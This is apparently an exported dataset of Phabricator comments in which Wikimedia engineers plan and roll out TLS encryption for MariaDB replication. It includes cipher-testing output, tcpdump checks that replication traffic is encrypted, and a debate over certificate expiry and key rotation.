+- Create a certificate file with both CAs pem's `cat ca1.pem ca2.pem > ca-certificates.crt` and use that path in the MySQL option `ssl-ca` both on client and server side
+- Put all the CA pem's in a directory and run `c_rehash /path/to/pems` that will generate there the symbolic links and use the MySQL option `ssl-capath` both on client and server side
+
+I've tested it on a local VM with our MariaDB package creating 2 client certs from 2 CAs and trying to connect to MySQL using them.
+
+The good news is that they can coexist and give us the time to roll out the changes.
+The bad one is that we need to restart all MySQLs in order to reload the certificates, and we should start from the masters to allow the slaves to connect to them.
+
+See also T127363 in order to choose between `ssl-*` and `loose-ssl-*` options in the client section of the my.cnf.
+",,,1456960414,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,34,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+580733,Set up TLS for MariaDB replication,"TLS rolled on x1, too, that makes all mediawiki production links.",,,1450378412,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,24,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+580022,Set up TLS for MariaDB replication,"All the main cross-datacenter links have been switched to TLS (s1-7 and es2-3). As I mentioned before, it will take some time for the changes to be rolled in to all servers.",,,1450292409,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,23,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+577802,Set up TLS for MariaDB replication,">>! In T111654#1844080, @jcrespo wrote:
+> Of all ciphers, only a few work:
+
+Nearly all of the not working ones are EC based. Either needing an ECDSA key (you likely didn't create) or using ECDHE. Both need support in the software using libssl, so maybe MariaDB doesn't yet support ECDHE yet?
+
+>```
+> NULL-SHA256:
+> +---+
+> | 1 |
+> +---+
+> | 1 |
+> +---+
+> ```
+
+NULL means no encryption and no authentication. That should not work. There might be a few other ciphers that should not work.
+
+> 
+> I have not yet found a reason, but it could be because [[ https://mariadb.atlassian.net/browse/MDEV-8444 | a bug on MariaDB ]] 
+
+Unlikely. Did you enable fips=1 when building?
+
+> or a poorly created ca/key (this was using the test ca and certificates, so no proper hostnames, etc.).
+
+Unlikely, except as said above that RSA keys only support RSA cipers and ECDSA only ECDSA ciphers (I think there are dual keys).
+
+For this type of usage EC based ciphers are not important, for now.",,,1449895236,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,23,True,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+577565,Set up TLS for MariaDB replication,"Enwiki channel (s1) is now also encrypted, using db1057 as a bridge. I am also testing ROW based replication on codfw, but that is out of the scope of this ticket.",,,1449868747,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,23,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+576546,Set up TLS for MariaDB replication,"External storage link has been encrypted, that makes 2 out of the 14 cross-datacenter links using TLS now.
+
+I am using it but not enforcing it at user level to make sure it can be reverted in case a problem appears.",,,1449764780,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,23,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+572050,Set up TLS for MariaDB replication,"Change 256648 merged by Jcrespo:
+Enable TLS by default on all core mysql hosts
+
+[[https://gerrit.wikimedia.org/r/256648]]",,,1449137067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,22,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+572028,Set up TLS for MariaDB replication,"Change 256648 had a related patch set uploaded (by Jcrespo):
+Enable TLS by default on all core mysql hosts
+
+[[https://gerrit.wikimedia.org/r/256648]]
+",,,1449134736,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,22,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+571634,Set up TLS for MariaDB replication,"Replication is ready, we only need to:
+
+* Set SSL => 'on' puppet and restart all servers to apply the config changes (we will set it on the role once it has been applied everywhere)
+* stop replication, add REQUIRE SSL to the replication user and perform a change master on all slaves (it doesn't have to be done simultaneously, it can be set optional until all slaves are ready)
+
+We will probably not restart the masters any time soon, until we can perform other maintenance at the same time (upgrade, switch to row replication, etc.), so we will have to create an extra hop through one of eqiad slaves. This may make more complex T119642, but that could wait until the failover.
+
+For long term tasks:
+* Monitor the ssl expiration
+* Several configuration changes in terms of cipher, expiration, validation, no-wildcard certificate, buying a non-self-ca cert, etc. that do not compromise the security of the setup
+* Monitoring
+",,,1449084907,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,21,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+571252,Set up TLS for MariaDB replication,"Of all ciphers, only a few work:
+
+
+```
+for cipher in ECDHE-RSA-AES256-GCM-SHA384 ECDHE-ECDSA-AES256-GCM-SHA384 ECDHE-RSA-AES256-SHA384 ECDHE-ECDSA-AES256-SHA384 DHE-DSS-AES256-GCM-SHA384 DHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES256-SHA256 DHE-DSS-AES256-SHA256 ADH-AES256-GCM-SHA384 ADH-AES256-SHA256 ECDH-RSA-AES256-GCM-SHA384 ECDH-ECDSA-AES256-GCM-SHA384 ECDH-RSA-AES256-SHA384 ECDH-ECDSA-AES256-SHA384 AES256-GCM-SHA384 AES256-SHA256 ECDHE-RSA-AES128-GCM-SHA256 ECDHE-ECDSA-AES128-GCM-SHA256 ECDHE-RSA-AES128-SHA256 ECDHE-ECDSA-AES128-SHA256 DHE-DSS-AES128-GCM-SHA256 DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES128-SHA256 DHE-DSS-AES128-SHA256 ADH-AES128-GCM-SHA256 ADH-AES128-SHA256 ECDH-RSA-AES128-GCM-SHA256 ECDH-ECDSA-AES128-GCM-SHA256 ECDH-RSA-AES128-SHA256 ECDH-ECDSA-AES128-SHA256 AES128-GCM-SHA256 AES128-SHA256 NULL-SHA256; do
+    echo ""$cipher:""
+    mysql --ssl-ca=/etc/mysql/ssl/cacert.pem --ssl-cipher=$cipher -e ""SELECT 1""
+done
+
+ECDHE-RSA-AES256-GCM-SHA384:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDHE-ECDSA-AES256-GCM-SHA384:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDHE-RSA-AES256-SHA384:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDHE-ECDSA-AES256-SHA384:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+DHE-DSS-AES256-GCM-SHA384:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+DHE-RSA-AES256-GCM-SHA384:
++---+
+| 1 |
++---+
+| 1 |
++---+
+DHE-RSA-AES256-SHA256:
++---+
+| 1 |
++---+
+| 1 |
++---+
+DHE-DSS-AES256-SHA256:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ADH-AES256-GCM-SHA384:
++---+
+| 1 |
++---+
+| 1 |
++---+
+ADH-AES256-SHA256:
++---+
+| 1 |
++---+
+| 1 |
++---+
+ECDH-RSA-AES256-GCM-SHA384:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDH-ECDSA-AES256-GCM-SHA384:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDH-RSA-AES256-SHA384:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDH-ECDSA-AES256-SHA384:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+AES256-GCM-SHA384:
++---+
+| 1 |
++---+
+| 1 |
++---+
+AES256-SHA256:
++---+
+| 1 |
++---+
+| 1 |
++---+
+ECDHE-RSA-AES128-GCM-SHA256:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDHE-ECDSA-AES128-GCM-SHA256:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDHE-RSA-AES128-SHA256:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDHE-ECDSA-AES128-SHA256:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+DHE-DSS-AES128-GCM-SHA256:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+DHE-RSA-AES128-GCM-SHA256:
++---+
+| 1 |
++---+
+| 1 |
++---+
+DHE-RSA-AES128-SHA256:
++---+
+| 1 |
++---+
+| 1 |
++---+
+DHE-DSS-AES128-SHA256:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ADH-AES128-GCM-SHA256:
++---+
+| 1 |
++---+
+| 1 |
++---+
+ADH-AES128-SHA256:
++---+
+| 1 |
++---+
+| 1 |
++---+
+ECDH-RSA-AES128-GCM-SHA256:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDH-ECDSA-AES128-GCM-SHA256:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDH-RSA-AES128-SHA256:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+ECDH-ECDSA-AES128-SHA256:
+ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
+AES128-GCM-SHA256:
++---+
+| 1 |
++---+
+| 1 |
++---+
+AES128-SHA256:
++---+
+| 1 |
++---+
+| 1 |
++---+
+NULL-SHA256:
++---+
+| 1 |
++---+
+| 1 |
++---+
+```
+
+I have not yet found a reason, but it could be because [[ https://mariadb.atlassian.net/browse/MDEV-8444 | a bug on MariaDB ]] or a poorly created ca/key (this was using the test ca and certificates, so no proper hostnames, etc.). It is not high priority, because the default being used `DHE-RSA-AES256-GCM-SHA384` was among the ""strong"" recommended by @Dzahn.",,,1449045755,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,21,True,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+567431,Set up TLS for MariaDB replication,"> With our current setup, it takes 1 year to to a rolling restart of all our database boxes, and probably around 1000 man-hours
+
+:-O I didn't expect that. Is it correct that just causing reconnects for every replication connection while ensuring no user impact is much less work and possible to do in a smaller time window? Perhaps then we should think of a solution that doesn't require a MariaDB restart, perhaps another process encrypting and authenticating the connection by tunneling it.
+",,,1448314527,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,20,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+567069,Set up TLS for MariaDB replication,"> AFAIK there is no reason to not have an expiry time
+
+With our current setup, it takes 1 year to to a rolling restart of all our database boxes, and probably around 1000 man-hours, which is required to roll in TLS everywhere. Creating a 6-month expiring cert will cause it expiring before it can be applied to half of the fleet. I am just being practical here. Once the SSL expires, wikipedia and all other projects stops working. So you are adding a threat with no payload (unlike dns). What it is worse, if a machine gets compromised, expiration adds no protection at all, while compromising all others, unlike my suggestion- so yours is less secure.
+
+We should solve rolling issues first before imposing requirements that we cannot handle, assuming that we do not compromise the security more than we do right now, which was my point. The expiration directly impacts our availability. Can we have MITM attacks withing our internal network? Maybe. Is it an imminent problem? Probably we will have others problems if that happens first, but fixing authentication is out of the scope of this ticket.",,,1448282644,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,20,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+566902,Set up TLS for MariaDB replication,Maybe we should decouple expiry from connecting. For example we could implement checking expiry by a Jenkins job that uses the fact that we have all certificates in puppet.git. Maybe we can do even more checks in such a job.,,,1448232418,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,20,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+566297,Set up TLS for MariaDB replication,"A compromised key affects us equivalently as if we were not using encryption nor authentication.
+
+We do need to authenticate servers by cert. We may not rely on IPs for authentication (maybe we can't depending on our network configurations). We should authenticate clients by cert, but that is probably less important and can be done in a later step, authentication of clients via password over an authenticated and encrypted channel work.
+
+We do not protect a name but the secret information in the DB and when what is accessed or written to it. If we do not check names, the trust model is thus incompatible with the general CA system, but the easiest way to defend against any CA compromise is to not tust all CAs. Thus if we only either trust directly enumerated certificates or our own CA we do not need to check names.
+
+Besides keeping revocation small in classical HTTPS expiry is also to time limit the damage one CA can do to ones DNS entry. As with GPG it also is to time limit the damage one can do to ones own identities. Yes, that means in this case AFAIK all these reasons for having expiry do not apply. The only remaining relevant one I can think of is noticing outdated key information / configuration errors. AFAIK there is no reason to not have an expiry time (the availability argument below is only in regarding to how to pick expiry time).
+
+> Also, identification tokens where already secure to start with, and not sent in plain text, so fake clients will not be able to login
+
+In some lesser threat model perhaps, but the attacker we are trying to defend against is an active MitM.
+
+> I do not see anyone here proposing ssh host keys being rotated regularly, as that creates more problems than it solves (clients being confused or malpractices like blindly trusting unknown host keys).
+
+Part of doing key rotation is how to know about the new key. We should regularly rotate our ssh host keys, but first we need an easier way to know about the new key. We have improved here and we will continue to.
+
+> This case is more similar to our puppet/salt than to https-
+
+Yes. I haven't yet looked at the exact details of our implementation with either puppet nor salt. Having higher standards with mysql than puppet/salt makes no sense as the later can be used to change the previous.
+
+> If all servers were compromised, and the revocation list was too long, we can create a new CA.
+
+Yes, or only trust fully enumerated certs directly.
+
+> I think it would be more secure to invest time on a non-expiring (or very long term), but unique key per server, easy to revoke individually, than a single key for all servers expiring simultaneously throughout the fleet (which has consequences of availability).
+
+Security in this sense is directly opposed to availability. If we fail open then the attacker only needs to cause failure. Failing closed means being unavailable. That then degrades the same attack from compromise to denial of service. Securing against a denial of service is impossible against the type of attacker we chose to try to defend against. AFAIK we consciously chose to change so that we will be able to in practice value security over availability. I.e. normal status is available and secure, procedures are in place so that we can mitigate loss of availability and/or security, but if these fail we retain security by choosing to become unavailable.
+
+ Yes, spreading the expiry over 6 month (or however long we would need in the worst case, like walk to each server and reinstall, after the first outage because of expiry to full replacement without running out of non-expired servers to serve the load) is probably a good idea.
+
+While I talked about the goal, any incremental improvement in that direction is useful, even though it won't yet get us the ability to defend against the chosen threat model.",,,1448037345,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,20,True,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+563325,Set up TLS for MariaDB replication,"@JanZerebecki Do not get me wrong, I think we should have the ability to do that. But how does a compromised key affect us?
+
+A compromised key or CA for HTTPS means that somebody can pose as one of our sites from a third party client, which relies on a 3rd party authority to verify that. How does that affect us when we are our own client? Who are we giving a promise, if there is no 3rd party client in the first place? Also, host names are not checked against the cert parameters if all certs are shared. Specially when all the clients will be also servers due to replication chains (all servers will have client and server secrets), so if a client machine gets compromised, all servers do, too. We also do not use dns and certs to identify servers (although that could be [[ https://dev.mysql.com/doc/refman/5.6/en/ssl-options.html#option_general_ssl-verify-server-cert | enabled ]]). We use ips for authentication and passwords for authorization, accepting all keys signed by the CA. For practical reasons, we will not ban non-tls connections for non-replication users, at least not yet. Also, identification tokens where already secure to start with, and not sent in plain text, so fake clients will not be able to login, while fake replication servers could not create more problems than any other node within our internal network, while not exposing private data.
+
+The only reason why certs expire (aside from clear economic reasons) is to maintain a list of finite revocations, something we [[ https://dev.mysql.com/doc/refman/5.6/en/ssl-options.html#option_general_ssl-crl | can do ]] in this case because clients are under our full control (unlike 3rd party users).
+
+This case is more similar to our puppet/salt than to https- I think it would be more secure to invest time on a non-expiring (or very long term), but unique key per server, easy to revoke individually, than a single key for all servers expiring simultaneously throughout the fleet (which has consequences of availability). If all servers were compromised, and the revocation list was too long, we can create a new CA.
+
+But again, I am here to get challenged. Key rotation is important, but I do not see anyone here proposing ssh host keys being rotated regularly, as that creates more problems than it solves (clients being confused or malpractices like blindly trusting unknown host keys).",,,1447632227,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,19,True,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1
+563315,Set up TLS for MariaDB replication,Having an expiration date is a formalized promise that we are able to do key rotation. If one is not able to do key rotation / replacement then one can not recover from being compromised. Doing key rotation regularly hopefully ensures that we are able to do it also when concrete evidence shows that we should do it without waiting for its regular schedule. It also needs to be cheap so that one can do it just to be sure on a suspicion.,,,1447628197,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,19,True,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+563295,Set up TLS for MariaDB replication,"I've done a test installation of the above between es2008 and its slaves. When I compared:
+
+On es2008:
+```
+tcpdump -i eth0 -s 0 -l -w - src host es1014.eqiad.wmnet | strings | grep INSERT
+
+```
+
+On es2009:
+
+```
+tcpdump -i eth0 -s 0 -l -w - src host es2008.codfw.wmnet | strings | grep INSERT
+```
+
+I could confirm no results in the second case.
+
+No effect on replication lag, but obviously it would be very surprising if that happened with current external storage load on codfw.",,,1447617541,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,19,True,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+563286,Set up TLS for MariaDB replication,"Two notes:
+* Install libjemalloc1 as dependency of the new package
+* I do not think an expiration time makes the setup more secure if it is not used for client authentication AND we control the CA and all the clients. Please challenge that statement if you can.",,,1447612574,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,19,True,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+563285,Set up TLS for MariaDB replication,"Too notes:
+* Install libjemalloc1 as dependency of the new package
+* I do not think an expiration time makes the setup more secure if it is not used for client authentication AND we control the CA and all the clients. Please challenge that statement if you can.",,,1447612325,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,19,True,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+561659,Set up TLS for MariaDB replication,"This patch allows the configuration: https://gerrit.wikimedia.org/r/#/c/252447
+
+Please let me continue using SSL terminology, as it is the one used by mysql server for legacy reasons, even if we are actually using TLS.
+
+Pending issues:
+
+* Test and deploy new mysql version everywhere
+* Generate an appropriate key/certs (buy or self-signed?)
+* Solve key distribution and expiration, monitor expiration
+* Restart and reconfigure replication to use SSL
+* Configure replication user with `REQUIRE SSL`
+",,,1447263671,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0
+561645,Set up TLS for MariaDB replication,"This patch allows the configuration: https://gerrit.wikimedia.org/r/#/c/252447
+
+Please let me continue using SSL terminology, as it is the one used by mysql server for legacy reasons, even if we are actually using TLS.
+
+Pending issues:
+
+* Test and deploy new mysql version everywhere
+* Generate an appropriate key/certs (buy or self-signed?)
+* Solve key distribution and expiration, monitor expiration
+* Configure replication user with `REQUIRE SSL`
+* Restart and reconfigure replication to use SSL",,,1447262009,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0
+561612,Set up TLS for MariaDB replication,"This the result after linking to openssl, reinstalling and configuring the server with `ssl-cipher=TLSv1.2`. I tnink it has a more reasonable list of available ciphers:
+
+```
+MariaDB PRODUCTION s6 localhost (none) > SHOW STATUS like '%ssl%';
++--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Variable_name                  | Value                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
++--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Com_show_processlist           | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_accept_renegotiates        | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_accepts                    | 6                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
